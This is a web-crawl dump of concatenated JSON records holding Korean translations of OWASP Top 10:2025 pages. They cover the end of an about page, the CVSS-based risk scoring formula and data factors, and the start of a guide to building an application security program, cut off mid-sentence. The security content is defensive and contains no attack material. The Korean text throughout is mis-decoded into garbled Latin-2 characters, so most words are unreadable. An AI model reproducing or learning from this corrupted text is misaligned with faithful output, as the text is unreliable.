í”„ëĄœě íŠ¸ě˜ ě§€ě†ě ě¸ ë°œě „ě„ 뒷받침하는 비영리 단체다. OWASP에는 이사회부터 지부 리더, í”„ëĄœě íŠ¸ 구성원까지 대부분이 자원봉사자로 ě°¸ě—Źí•˜ęł ěžˆěœźëŠ°, 기존의 틀을 깨는 보안 연구를 í›„ě›í•˜ęł í•„ěš”í•œ 인프라를 ě œęłľí•œë‹¤.\n\ně €íŹě™€ 함께해요!\n\n## ě €ěž‘ęśŒ 및 ëźě´ě„ ěŠ¤\n\nCopyright Š 2003-2025 The OWASP® Foundation, Inc. 이 문서는 Creative Commons Attribution-ShareAlike 4.0 ëźě´ě„ ěŠ¤ě— 따라 배포된다. 이 자료를 재사용하거나 ë°°íŹí• ę˛˝ěš°, 반드시 해당 ě €ěž‘ëŹźě˜ ëźě´ě„ ěŠ¤ 조건을 명확히 밝혀야 한다.", "znaku_textu": 2611, "slov": 314, "odkazu": 35, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:30", "sha256": "3200f59f40cba0b174f27f76ee36d4bc2ffc41ce8303d903dabbf7aafd801be6", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://www.youtube.com/user/OWASPGLOBAL", "https://cheatsheetseries.owasp.org/", "https://groups.google.com/g/owasp", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ko/0x02_2025-What_are_Application_Security_Risks/", "titulek": "ě• í”ŒëŚŹěź€ě´ě…˜ 보안 위험이란 무엇인가? - OWASP Top 10:2025", "h1": "ě• í”ŒëŚŹěź€ě´ě…˜ 보안 위험이란 무엇인가?", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ko/0x02_2025-What_are_Application_Security_Risks/", "jazyk": "ko", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "ě• í”ŒëŚŹěź€ě´ě…˜ 보안 위험이란 무엇인가?"}, {"uroven": 2, "text": "범주를 ě„ íƒí•˜ęł ěˆœěœ„ëĽź 매기기 위해 데이터가 사용되는 방식"}, {"uroven": 2, "text": "데이터 요소"}], "markdown": "# ě• í”ŒëŚŹěź€ě´ě…˜ 보안 위험이란 무엇인가?\n\n공격자는 ě• í”ŒëŚŹěź€ě´ě…˜ě„ 통해 다양한 경로로 비즈니스 또는 조직에 피해를 입힐 수 있다. 각 경로는 ěž ěžŹě  위험을 수반하며, 이를 조사해야 한다.\n\n| **위협 행위자** | **곾겊 벡터** | **악용 가능성** | **보안 í†ľě œ 미비 가능성** | **ę¸°ěˆ ě  영향** | **비즈니스 영향** |\n| --- | --- | --- | --- | --- | --- |\n| **환경에 따라, 상황에 따라 ë™ě ěœźëĄœ 변화** | **ě• í”ŒëŚŹěź€ě´ě…˜ 노출 수준에 따라(환경 기준)** | **í‰ęˇ ę°€ě¤‘ 악용** | **í†ľě œ 누락을 í‰ęˇ ë°œěƒëĽ ëĄœ ě‚°ě •í•˜ęł ěť¤ë˛„ëŚŹě§€ëĄœ 가중** | **í‰ęˇ ę°€ě¤‘ 영향** | **비즈니스 기준** |\n\n본 위험 등급(Risk Rating)은 악용 가능성, ěˇ¨ě•˝ě ě—ě„œ 보안 í†ľě œę°€ 누락되어 있을 í‰ęˇ ę°€ëŠĽě„ą, ęˇ¸ëŚŹęł ę¸°ěˆ ě  영향을 공통 평가 요소로 ě‚°ě •ě— 반영하였다.\n\n조직은 각기 ęł ěœ í•˜ëŠ°, 해당 조직을 대상으로 하는 위협 행위자, 그들의 목표, ęˇ¸ëŚŹęł ěš¨í•´ 발생 시 영향도 또한 ęł ěœ í•˜ë‹¤. 공익 단체가 대외 ě •ëł´ ě œęłľě„ 위해 ě˝˜í…ě¸ ę´€ëŚŹ 시스템(Contents Management System, CMS)을 사용하는 경우와, 의료 시스템에서 동일한 CMS뼟 민감한 의료 ě •ëł´ě— 사용하는 경우를 비교하면, 같은 소프트웨어라 하더라도 위협 행위자와 비즈니스 영향은 크게 달라질 수 있다. ě• í”ŒëŚŹěź€ě´ě…˜ě˜ 노출 수준, 상황별 위협 행위자(비즈니스 및 지역에 따른 í‘œě  곾겊곟 ëš„í‘œě  곾겊), ęˇ¸ëŚŹęł ę°œëł„ 비즈니스 영향을 바탕으로 조직의 위험을 이해하는 것이 중요하다.\n\n## 범주를 ě„ íƒí•˜ęł ěˆœěœ„ëĽź 매기기 위해 데이터가 사용되는 방식\n\n2017년에는 ë°œěƒëĽ (incidence rate)을 기준으로 가능성(likelihood)을 ě‚°ě •í•˜ě—Ź 범주를 ě„ ě •í•œ 뒤, 수십 년의 경험을 바탕으로 한 팀 논의를 통해 악용 가능성(Exploitability), 탐지 가능성(Detectability, 가능성에 포함), ę¸°ěˆ ě  영향(Technical Impact)을 기준으로 순위를 매겼다. 2021년에는 미꾭 국가 ěˇ¨ě•˝ě  ë°ě´í„°ë˛ ě´ěŠ¤(National Vulnerability Database, NVD)의 CVSSv2 및 CVSSv3 ě ěˆ˜ě—ě„œ 악용 가능성과 (ę¸°ěˆ ě ) 영향을 나타내는 데이터를 활용하였다. 2025년에는 2021년에 수립한 동일한 ë°Šë˛•ëĄ ě„ 계속 ě ěšŠí•˜ě˜€ë‹¤.\n\n우리는 OWASP Dependency-Check뼟 다운로드하여 ę´€ë ¨ CWE(Common Weakness Enumeration)별로 그룹화된 CVSS 악용(Exploit) ě ěˆ˜ě™€ 영향 ě ěˆ˜ëĽź 추출하였다. ëŞ¨ë“ CVE에는 CVSSv2 ě ěˆ˜ę°€ 존재하지만, CVSSv2에는 결함이 있으며 CVSSv3는 이를 보완해야 하므로 상당한 조사와 ë…¸ë Ľě´ 필요했다. 또한 ěźě • ě‹œě  이후에는 ëŞ¨ë“ CVE에 CVSSv3 ě ěˆ˜ë„ 함께 부여된다. 더불어 CVSSv2와 CVSSv3 사이에는 ě ěˆ˜ 범위와 ě‚°ě • 공식이 업데이트되었다.\n\nCVSSv2에서는 악용과 (ę¸°ěˆ ě ) 영향 모두 최대 10.0까지 가능했으나, ě‚°ě • 공식에 의해 악용은 60%, 영향은 40%로 낮춰졌다. CVSSv3에서는 ě´ëĄ ěƒ 최대값이 악용 6.0, 영향 4.0으로 ě œí•œë˜ě—ˆë‹¤. 이러한 가중치를 ęł ë ¤í•˜ëŠ´, CVSSv3에서 영향 ě ěˆ˜ëŠ” 더 ë†’ě•„ě ¸ í‰ęˇ ě ěœźëĄœ 거의 1.5ě  ěƒěŠší–ˆęł , 2021 Top 10 분석을 수행했을 때 악용 가능성은 í‰ęˇ ě ěœźëĄœ 거의 0.5ě  하락한 것으로 나타났다.\n\nOWASP Dependency-Check에서 추출한 결곟, 미꾭 국가 ěˇ¨ě•˝ě  ë°ě´í„°ë˛ ě´ěŠ¤(National Vulnerability Database, NVD)에는 CWE에 매핑된 CVE ë ˆě˝”ë“œę°€ 약 17만 5천 ęą´(2021년의 12만 5천 건에서 증가) 존재한다. 또한 CVE에 매핑된 ęł ěœ CWE는 643氜(2021년의 241개에서 증가)이다. 추출된 약 22만 건의 CVE 중 16만 건에는 CVSS v2 ě ěˆ˜ę°€, 15만 6천 건에는 CVSS v3 ě ěˆ˜ę°€, 6천 건에는 CVSS v4 ě ěˆ˜ę°€ 있었다. 다수의 CVE가 여러 ë˛„ě „ě˜ ě ěˆ˜ëĽź 동시에 ëł´ěœ í•˜ëŻ€ëĄœ, ě ěˆ˜ 깴수 합계는 22만 건을 초과한다.\n\nTop 10 2025에서는 다음과 같은 방식으로 악용과 영향의 í‰ęˇ ě ěˆ˜ëĽź ě‚°ě •í•˜ě˜€ë‹¤. CVSS ě ěˆ˜ę°€ 있는 ëŞ¨ë“ CVE뼟 CWE별로 그룹화한 뒤, 악용 ě ěˆ˜ě™€ 영향 ě ěˆ˜ 모두에 대해 CVSSv3 ě ěˆ˜ëĽź ëł´ěœ í•œ 비율과 나머지 CVSSv2 ě ěˆ˜ ëł´ěœ ëš„ěœ¨ě„ 가중치로 ě ěšŠí•˜ě—Ź ě „ě˛´ í‰ęˇ ě„ 산출하였다. ě´ë ‡ę˛Œ 산출한 í‰ęˇ ě„ 데이터셋의 CWE에 매핑하여, 위험 ë°Šě •ě‹ě˜ 나머지 ě ˆë°˜ě— 해당하는 악용 및 ę¸°ěˆ ě  영향 ě ěˆ˜ëĄœ 사용하였다.\n\n왜 CVSS v4.0을 사용하지 않았을까? 이는 ě ěˆ˜ ě‚°ě • ě•Œęł ëŚŹěŚ˜ě´ ęˇźëł¸ě ěœźëĄœ 변경되어, CVSSv2와 CVSSv3처럼 *악용* 또는 *영향* ě ěˆ˜ëĽź 쉽게 ë„ěśœí• ěˆ˜ 없기 때문이다. 향후 Top 10 ë˛„ě „ě—ě„œëŠ” CVSS v4.0 ě ěˆ˜ëĽź í™œěšŠí• ěˆ˜ 있는 방법을 ëŞ¨ěƒ‰í• ě˜ˆě •ě´ě§€ë§Œ, 2025년판에서는 이를 ě ě‹œě— ë°˜ě˜í• ë°Šě•ˆě„ 도출하지 못했다.\n\në°œěƒëĽ ě€ ěźě • 기간 동안 조직이 테스트한 ě• í”ŒëŚŹěź€ě´ě…˜ 모집단에서, 각 CWE에 취약한 ě• í”ŒëŚŹěź€ě´ě…˜ě˜ 비율로 ě‚°ě •í•˜ě˜€ë‹¤. 다시 말해, 우리는 빈도(frequency), 즉 한 ě• í”ŒëŚŹěź€ě´ě…˜ě—ě„œ ëŹ¸ě œę°€ 몇 번 발견되는지는 사용하지 않는다. 관심 대상은 ě• í”ŒëŚŹěź€ě´ě…˜ 모집단 중 각 CWE가 발견된 ě• í”ŒëŚŹěź€ě´ě…˜ě˜ 비율이다.\n\n커버리지(coverage)는 íŠšě • CWE에 대해 ëŞ¨ë“ ěĄ°ě§ě´ 테스트한 ě• í”ŒëŚŹěź€ě´ě…˜ě˜ 비율로 ě‚°ě •í•œë‹¤. 커버리지가 높을수록 표본 크기가 모집단을 더 잘 대표하므로, ě‚°ě •ëœ ë°œěƒëĽ ě´ ě •í™•í•˜ë‹¤ëŠ” 보증 수준이 더 강해진다.\n\n이번 ë˛„ě „ě—ě„œ 사용한 공식은 2021년과 ěœ ě‚Źí•˜ë˜, 일부 가중치가 변경되었다.\n(최대 ë°œěƒëĽ % * 1000) + (최대 커버리지 % * 100) + (í‰ęˇ ě•…ěšŠ * 10) + (í‰ęˇ ě˜í–Ľ * 20) + (발생 깴수 합 / 10000) = 위험 ě ěˆ˜\n\ně‚°ě •ëœ ě ěˆ˜ëŠ” 불충분한 ě ‘ęˇź ě œě–´(Broken Access Control) 범주에서 621.60으로 가장 ë†’ě•˜ęł , 메모리 관리 오뼘(Memory Management Errors) 범주에서 271.08로 가장 낮았다.\n\n이는 완벽한 체계는 아니지만, 위험 범주의 순위를 매기는 데 ěœ ěšŠí•˜ë‹¤.\n\n추가로 ěť¤ě§€ęł ěžˆëŠ” ęłźě œ 중 하나는 \"ě• í”ŒëŚŹěź€ě´ě…˜\"의 ě •ě˜ě´ë‹¤. 업계가 마이크로서비스와 같이 ě „í†ľě ě¸ ě• í”ŒëŚŹěź€ě´ě…˜ëł´ë‹¤ 더 작은 구성요소로 이루어진 아키텍처로 ě „í™˜í•¨ě— 따라, ě‚°ě •ě´ 더 ě–´ë ¤ě›Œě§€ęł ěžˆë‹¤. 예뼟 들어 조직이 코드 ëŚŹíŹě§€í† ëŚŹëĽź 테스트하는 경우, 무엇을 ě• í”ŒëŚŹěź€ě´ě…˜ěœźëĄœ 간주해야 하는가? CVSSv4의 확산과 마찬가지로, Top 10의 다음 판에서는 끊임없이 변화하는 산업 환경을 반영하기 위해 분석과 ě ěˆ˜ ě‚°ě •ě„ ěĄ°ě •í•´ě•ź í• ěˆ˜ 있다.\n\n## 데이터 요소\n\nTop 10 각 범주에는 다음과 같은 데이터 요소가 ě œě‹œë˜ëŠ°, 의미는 다음과 같다.\n\n**매핑된 CWE(CWEs Mapped):** Top 10 팀이 해당 범주에 매핑한 CWE의 개수.\n\n**ë°œěƒëĽ (Incidence Rate):** ë°œěƒëĽ ě€ 해당 연도에 ꡸ 조직이 테스트한 모집단에서, 해당 CWE에 취약한 ě• í”ŒëŚŹěź€ě´ě…˜ě˜ 비율이다.\n\n**가중 악용(Weighted Exploit):** CWE에 매핑된 CVE에 부여된 CVSSv2 및 CVSSv3 ě ěˆ˜ě˜ 악용 하위 ě ěˆ˜ëĽź ě •ęˇœí™”í•˜ě—Ź 10ě  척도에 맞춘 값이다.\n\n**가중 영향(Weighted Impact):** CWE에 매핑된 CVE에 부여된 CVSSv2 및 CVSSv3 ě ěˆ˜ě˜ 영향 하위 ě ěˆ˜ëĽź ě •ęˇœí™”í•˜ě—Ź 10ě  척도에 맞춘 값이다.\n\n**(테스트) 커버리지((Testing) Coverage):** íŠšě • CWE에 대해 ëŞ¨ë“ ěĄ°ě§ě´ 테스트한 ě• í”ŒëŚŹěź€ě´ě…˜ě˜ 비율이다.\n\n**총 발생 깴수(Total Occurrences):** 범주에 매핑된 CWE가 발견된 ě• í”ŒëŚŹěź€ě´ě…˜ě˜ 총 개수.\n\n**총 CVE(Total CVEs):** 해당 범주에 매핑된 CWE에 매핑된 NVD DB 내 CVE의 총 개수.\n\n**공식(Formula):** (최대 ë°œěƒëĽ % * 1000) + (최대 커버리지 % * 100) + (í‰ęˇ ě•…ěšŠ * 10) + (í‰ęˇ ě˜í–Ľ * 20) + (발생 깴수 합 / 10000) = 위험 ě ěˆ˜", "znaku_textu": 7859, "slov": 1034, "odkazu": 30, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:31", "sha256": "5c48fcd8a69eabc2ca08fee1ed462bcfed2e746886ec55903e28508e7a9e2089", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ko/0x03_2025-Establishing_a_Modern_Application_Security_Program/", "titulek": "í˜„ëŒ€ě  ě• í”ŒëŚŹěź€ě´ě…˜ 보안 체계를 수립하는 법 - OWASP Top 10:2025", "h1": "í˜„ëŒ€ě  ě• í”ŒëŚŹěź€ě´ě…˜ 보안 체계 수댽", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ko/0x03_2025-Establishing_a_Modern_Application_Security_Program/", "jazyk": "ko", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "í˜„ëŒ€ě  ě• í”ŒëŚŹěź€ě´ě…˜ 보안 체계 수댽"}, {"uroven": 3, "text": "1. 위험 기반 포트폴리오 관리 체계 수댽"}, {"uroven": 3, "text": "2. 탄탄한 기반을 통한 실행 체계 확보"}, {"uroven": 3, "text": "3. 기쥴 프로세스에 보안 내재화"}, {"uroven": 3, "text": "4. ě• í”ŒëŚŹěź€ě´ě…˜ 보안 교육"}, {"uroven": 3, "text": "5. 운영 가시성 확보"}, {"uroven": 2, "text": "반볾 가능한 보안 프로세스 및 표준 보안 í†ľě œ 수댽 및 ě ěšŠ"}, {"uroven": 3, "text": "요구사항 및 리소스 관리 단계"}, {"uroven": 3, "text": "ě œě•ˆěš”ě˛­ě„œ(RFP) 및 계약 단계"}, {"uroven": 3, "text": "기획 및 설계 단계"}, {"uroven": 3, "text": "ě•ˆě „í•œ 개발 수명 죟기(Secure Development Lifecycle)"}, {"uroven": 3, "text": "ě§€ě†ě  ě• í”ŒëŚŹěź€ě´ě…˜ 보안 테스트 체계 구축"}, {"uroven": 3, "text": "배포"}, {"uroven": 3, "text": "운영 및 변경 관리"}, {"uroven": 3, "text": "시스템 폐기"}, {"uroven": 2, "text": "OWASP Top 10의 표준 활용 가이드"}], "markdown": "# í˜„ëŒ€ě  ě• í”ŒëŚŹěź€ě´ě…˜ 보안 체계 수댽\n\nOWASP Top 10 항목들은 보안 인식을 ě œęł í•˜ę¸° 위한 문서로, 각 항목에서 다루는 중요한 위험의 인식을 높이기 위함이다. 이는 ëŞ¨ë“ ěœ„í—˜ě„ ëš ě§ě—†ě´ 다룬 목록이 아니라, 대응을 시작하기 위한 ěśœë°œě ěœźëĄœ 활용하도록 구성되어 있다. 따라서, ě´ě „ ë˛„ě „ě—ě„œëś€í„° 각 항목에 해당하는 위험을 ě˜ˆë°Ší•˜ęł ë” 나아가 ě „ë°˜ě ě¸ 보안 수준을 높이기 위한 ěľœě„ ě˜ 방법으로 ě• í”ŒëŚŹěź€ě´ě…˜ 보안 체계를 시작하는 것을 ęśŒęł í•´ě™”ë‹¤. 이 페이지에서는 í˜„ëŒ€ě  ě• í”ŒëŚŹěź€ě´ě…˜ 보안 체계 수댽 시작을 어떻게 í•˜ęł , 구축하는지 다룬다.\n\n이미 ě• í”ŒëŚŹěź€ě´ě…˜ 보안 체계를 운영 중이라면, [OWASP 소프트웨어 보증 성숙도 모델(Software Assurance Maturity Model, SAMM)](https://owasp.org/www-project-samm/) 또는 DSOMM(DevSecOps Maturity Model) 같은 성숙도 모델을 활용하여 현재 수준에 대한 성숙도 평가를 수행하는 것을 ęł ë ¤í•˜ëź. 해당 모델들은 íŹę´„ě ě´ëŠ° 세부 항목까지 ëš ě§ě—†ě´ ë‹¤ëŁ¨ęł ěžˆě–´, 체계를 ęł ë„í™”í•˜ëŠ” ęłźě •ě—ě„œ 어디에 집중해야 하는지 파악하는 데 í™œěšŠí• ěˆ˜ 있다. OWASP SAMM 및 DSOMM의 ëŞ¨ë“ í•­ëŞŠě„ 수행해야 좋은 보안 ě˛´ęł„ëźęł í• ěˆ˜ 있는 것은 아니며, 이는 방향을 ě œě‹œí•˜ęł ë‹¤ě–‘í•œ ě„ íƒě§€ëĽź ě œęłľí•˜ę¸° 위한 것이다. 따라서 이는 í˜„ě‹¤ě ěœźëĄœ 달성하기 ě–´ë ¤ěš´ 기준을 ě œě‹œí•˜ęą°ë‚˜ 과도한 비용이 드는 체계를 수립하는 枌 ëŞŠě ě´ 아니라, ę°œě„ ě„ 위한 다양한 아이디어를 ě œęłľí•˜ę¸° 위해 폭넓게 구성되어 있다.\n\ně• í”ŒëŚŹěź€ě´ě…˜ 보안 체계를 처음 구축하는 단계이거나, 현재 팀의 상황에서 OWASP SAMM 또는 DSOMM가 ęłźë„í•˜ë‹¤ęł ëŠęť´ě§„ë‹¤ëŠ´, 아래 내용을 ě°¸ęł í•˜ëź.\n\n### 1. 위험 기반 포트폴리오 관리 체계 수댽\n\n- 비즈니스 ę´€ě ě—ě„œ ę°€ě§€ęł ěžˆëŠ” ě• í”ŒëŚŹěź€ě´ě…˜ě˜ 포트폴리오에서 보안 요구사항을 식별한다. 이때 ëł´í˜¸í•˜ęł ěž 하는 데이터 자산에 ě ěšŠë˜ëŠ” ę°œě¸ě •ëł´ëł´í˜¸ ë˛•ë š 및 ę´€ë ¨ ęˇœě œëĽź 주요 기준으로 삼아 요구사항을 도출한다.\n- 조직의 위험 수용 수준에 맞춰, 가능성과 영향도 기준을 표준화한 [통합 위험 평가 모델](https://owasp.org/www-community/OWASP_Risk_Rating_Methodology)을 수립한다.\n- 위의 ě •ě˜ëœ 모델에 따라 ě „ě˛´ ě• í”ŒëŚŹěź€ě´ě…˜ 및 API의 위험을 í‰ę°€í•˜ęł ěš°ě„ ěˆœěœ„ëĽź ę˛°ě •í•œ 뒤, 결곟뼟 구성 관리 ë°ě´í„°ë˛ ě´ěŠ¤(Configuration Management Database, CMDB)에 등록한다.\n- ě ěšŠ 범위와 요구되는 엄격도 수준을 ě •ě˜í•˜ę¸° 위한 가이드라인을 수립한다.\n- Establish assurance guidelines to properly define coverage and level of rigor required.\n\n### 2. 탄탄한 기반을 통한 실행 체계 확보\n\n- ëŞ¨ë“ ę°œë°œ 조직이 ě¤€ěˆ˜í• ě• í”ŒëŚŹěź€ě´ě…˜ 보안 최소 기준을 위한 ě •ěą… 및 표준을 수립한다.\n- 수립한 ě •ěą… 및 표준을 따를 수 있도록 재사용 가능한 공통 보안 í†ľě œëĽź ě •ě˜í•˜ęł ě„¤ęł„ 및 개발 지침을 함께 ě œęłľí•œë‹¤.\n- 개발자의 ě—­í• ęłź ěŁźě œě— 맞춘 필수 ě• í”ŒëŚŹěź€ě´ě…˜ 보안 교육 체계를 ë§ˆë ¨í•œë‹¤.\n\n### 3. 기쥴 프로세스에 보안 내재화\n\n- 기쥴 개발 및 운영 프로세스에 ě•ˆě „í•œ 구현 및 검증 활동을 ě •ě˜í•˜ęł ë‚´ěžŹí™”í•œë‹¤.\n- 구현 및 검증 활동에는 위협 모델링, ě•ˆě „í•œ 설계 및 설계 ę˛€í† , 시큐어 코딩 및 코드 댏롰, 욨툏 테스트, ęˇ¸ëŚŹęł ěˇ¨ě•˝ě  조치가 포함된다.\n- 개발 및 í”„ëĄœě íŠ¸ 팀이 각 활동을 ě„ąęłľě ěœźëĄœ ěˆ˜í–‰í• ěˆ˜ 있도록 ěŁźě œëł„ 분야 ě „ëŹ¸ę°€(subject matter expert)와 지원 서비스를 ě œęłľí•œë‹¤.\n- 현행 시스템 개발 수명 죟기(system development life cycle)와 ëŞ¨ë“ ě†Œí”„íŠ¸ě›¨ě–´ 보안 활동, 도구, ě •ěą…, 프로세스를 ę˛€í† í•œ 후 이를 문서화한다.\n- 새로운 소프트웨어 개발 시에는 시스템 개발 수명 주기의 각 단계에 하나 이상의 보안 활동을 추가한다. 아래에서 수행 가능한 다양한 활동을 ě œě‹œí•œë‹¤. ě œě‹œëœ 활동을 수행하여 ëŞ¨ë“ ěƒˆëĄœěš´ í”„ëĄœě íŠ¸ 또는 소프트웨어에 조직의 요구 사항에 부합하는 보안 수준이 ě œęłľë˜ë„ëĄ 한다.\n- 최종 산출물이 조직의 수용 가능한 위험 수준을 만족하도록 활동을 ě„ ě •í•œë‹¤.\n- 기쥴(때로는 ë ˆęą°ě‹œëźęł í•¨)의 소프트웨어의 경우 ě˛´ęł„ě ě¸ ěœ ě§€ę´€ëŚŹ 계획을 수립한다. ě•ˆě „í•œ ě• í”ŒëŚŹěź€ě´ě…˜ě„ ěœ ě§€í•˜ëŠ” 방법은 아래의 '운영 및 변경 관리' 섹션을 ě°¸ęł í•œë‹¤.\n\n### 4. ě• í”ŒëŚŹěź€ě´ě…˜ 보안 교육\n\n- 개발 조직의 보안 역량 강화를 위해 보안 챔피언(Security Champion) ě œë„ 또는 개발자 대상 보안 교육 프로그램(보안 인식 í”„ëĄœęˇ¸ëž¨ě´ëźęł ëś€ëĽ´ę¸°ë„ 함)을 도입하는 방안을 ę˛€í† í•œë‹¤. 이를 통해 개발자에게 필요한 지식을 ęľěœĄí• ěˆ˜ 있다. ěľœě‹ ëł´ě•ˆ 지식을 ě§€ě†ě ěœźëĄœ ěŠľë“í•˜ęł , 업무를 ě•ˆě „í•˜ę˛Œ ěˆ˜í–‰í• ěˆ˜ 있도록 지원하며, 보안 문화를 더욱 ę¸ě •ě ěœźëĄœ ë§Œë“ ë‹¤. 또한, 보안팀과의 ě‹ ë˘°ëĽź ë†’ě´ęł ë” 만족스러운 협업 관계를 í˜•ě„ąí• ěˆ˜ 있다. ę´€ë ¨ 가이드는 [OWASP 보안 챔피언 가이드](https://securitychampions.owasp.org/)뼟 ě°¸ęł í•˜ëŠ°, 해당 가이드는 ë‹¨ęł„ě ěœźëĄœ ëł´ę°•ë˜ęł ěžˆë‹¤.\n- OWASP 교육 í”„ëĄœě íŠ¸ëŠ” 개발자에게 웹 ě• í”ŒëŚŹěź€ě´ě…˜ 보안을 교육하는 데 필요한 교육 자료를 ě œęłľí•œë‹¤. ěˇ¨ě•˝ě ě— 대한 실습 중심 학습을 위해 [OWASP Juice Shop í”„ëĄœě íŠ¸](https://owasp.org/www-project-juice-shop/) 또는 [OWASP WebGoat](https://owasp.org/www-project-webgoat/)뼟 활용한다. ěľœě‹ ë™í–Ľě„ ěœ ě§€í•˜ę¸° 위해 [OWASP AppSec 컨퍼런스](https://owasp.org/events/), [OWASP 컨퍼런스 íŠ¸ë ˆě´ë‹](https://owasp.org/events/), 또는 지역 [OWASP Chapter](https://owasp.org/chapters/) 모임에 참여한다.\n\n### 5. 운영 가시성 확보\n\n- 지표를 기반으로 관리하라. 수집된 지표 및 분석 데이터를 기반으로 ę°œě„ í™œë™ęłź 예산 ě˜ě‚Źę˛°ě •ě„ 추진한다. 지표로는 보안 관행 및 활동 준수, ě‹ ęˇœ ěˇ¨ě•˝ě  ěœ ěž…, ěˇ¨ě•˝ě  쥰욘, 테스트된 ě• í”ŒëŚŹěź€ě´ě…˜ 범위, 결함 ěœ í˜•ëł„ 밀도 및 발생 깴수 등이 있다.\n- 구현 및 검증 활동에서 ěś•ě ëœ 데이터를 분석하여, ꡟ본 원인(root cause)ęłź ěˇ¨ě•˝ě  패턴을 ě‹ëł„í•˜ęł , ě „ě‚Ź 차원의 ě „ëžľ 및 ě‹œěŠ¤í…œě  ę°œě„ ě„ 추진한다. 실수로부터 í•™ěŠľí•˜ęł , ę°œě„ ě„ 촉진하기 위해 ę¸ě •ě  인센티브를 ě œęłľí•œë‹¤.\n\n## 반볾 가능한 보안 프로세스 및 표준 보안 í†ľě œ 수댽 및 ě ěšŠ\n\n### 요구사항 및 리소스 관리 단계\n\n- 비즈니스 부서와 함께 ě• í”ŒëŚŹěź€ě´ě…˜ě˜ 비즈니스 요구사항을 ěˆ˜ě§‘í•˜ęł ěĄ°ěœ¨í•œë‹¤. 이 요구사항은 ëŞ¨ë“ ë°ě´í„° 자산에 대한 기밀성, 인증성, 무결성, 가용성 ę´€ě ě˜ 보호 요구사항과, 기대되는 비즈니스 로직이 포함된다.\n- 기능/ëš„ę¸°ëŠĽě  보안 요구사항을 포함하여 ę¸°ěˆ ěš”ęľŹě‚Źí•­ě„ 취합한다. OWASP는 ě• í”ŒëŚŹěź€ě´ě…˜ě˜ 보안 요구사항을 ě„¤ě •í•˜ę¸° 위한 가이드로 [OWASP ě• í”ŒëŚŹěź€ě´ě…˜ 보안 검증 표준(Application Security Verification Standard, ASVS)](https://owasp.org/www-project-application-security-verification-standard/)뼟 활용을 ęśŒęł í•œë‹¤.\n- 보안 활동을 포함하여 설계, 구축, 테스트, 운영의 ëŞ¨ë“ ě¸ĄëŠ´ě„ 포괄하는 예산을 ęł„íší•˜ęł ěĄ°ěœ¨í•œë‹¤.\n- í”„ëĄœě íŠ¸ ěźě •ě— 보안 활동을 ëŞ…ě‹œě ěœźëĄœ 편성한다.\n- í”„ëĄœě íŠ¸ 킥오프에서 í”„ëĄœě íŠ¸ě˜ 보안 담당을 소개하여, ę´€ë ¨ěžę°€ 누구와 소통해야 하는지 알 수 있도록 한다.\n\n### ě œě•ˆěš”ě˛­ě„œ(RFP) 및 계약 단계\n\n- 내외부 개발자와 요구사항을 ě‚Źě „ě— 합의하며, 조직의 보안 체계(예: SDLC ě ěšŠ, 보안 모범사례 준수)에 부합하는 가이드라인 및 보안 요구사항을 포함한다.\n- 기획 및 설계 단계를 포함하여, ëŞ¨ë“ ę¸°ěˆ ěš”ęľŹě‚Źí•­ě˜ 윊쥹 여부를 평가한다.\n- 설계, 보안, 서비스 수준 계약(service level agreements, SLA)을 포함하여 ëŞ¨ë“ ę¸°ěˆ ěš”ęľŹě‚Źí•­ě„ 협의한다.\n- [OWASP 보안 소프트웨어 계약 부록](https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex)와 같은 템플릿 및 체크리스트를 ě ěšŠí•œë‹¤.\n\n**ě°¸ęł :** *해당 문서는 미꾭 계약법을 ě „ě œëĄœ 하므로, 해당 문서를 사용하기 ě „ě— 자격을 갖춘 ë˛•ëĽ ě „ëŹ¸ę°€ě˜ 자문을 구한다.*\n\n### 기획 및 설계 단계\n\n- 개발자 및 내부 이해관계자(예: 보안 ě „ëŹ¸ę°€)와 기획 및 설계를 협의한다.\n- 보호 요구사항과 예상 위협 수준에 ě í•Ší•œ 보안 아키텍처, í†ľě œ, 대책 및 설계 ę˛€í† ëĽź ě •ě˜í•œë‹¤. 이는 보안 ě „ëŹ¸ę°€ě˜ 지원을 받아야 한다.\n- ě• í”ŒëŚŹěź€ě´ě…˜ 및 API가 개발된 이후에 보안을 추가하는 것보다, 시작 단계부터 보안을 설계에 포함하는 것이 비용 효율성이 훨씬 높다. 보안을 초기부터 내재화하는 ěśœë°œě ěœźëĄœ [OWASP 치트 시트](https://cheatsheetseries.owasp.org/index.html) 및 [OWASP ě‚Źě „ 예밊 í†ľě œ](https://top10proactive.owasp.org/) 사용을 ęśŒęł í•œë‹¤.\n- 위협 모델링(threat modelling)을 수행한다. 자세한 사항은 [OWASP 치트 시트: 위협 모델링](https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html)을 ě°¸ęł í•œë‹¤.\n- 소프트웨어 아키텍트에게 ě•ˆě „í•œ 설계 개념과 패턴을 ęľěœĄí•˜ęł , ę°€ëŠĽí• ę˛˝ěš° 설계에 이를 반영하도록 요청한다.\n- 개발자와 함께 데이터 흐름(data flow)을 ę˛€í† í•œë‹¤.\n- 기쥴 사용자 ěŠ¤í† ëŚŹ(user story)에 보안 사용자 ěŠ¤í† ëŚŹëĽź 추가한다.\n\n### ě•ˆě „í•œ 개발 수명 죟기(Secure Development Lifecycle)\n\n- 조직이 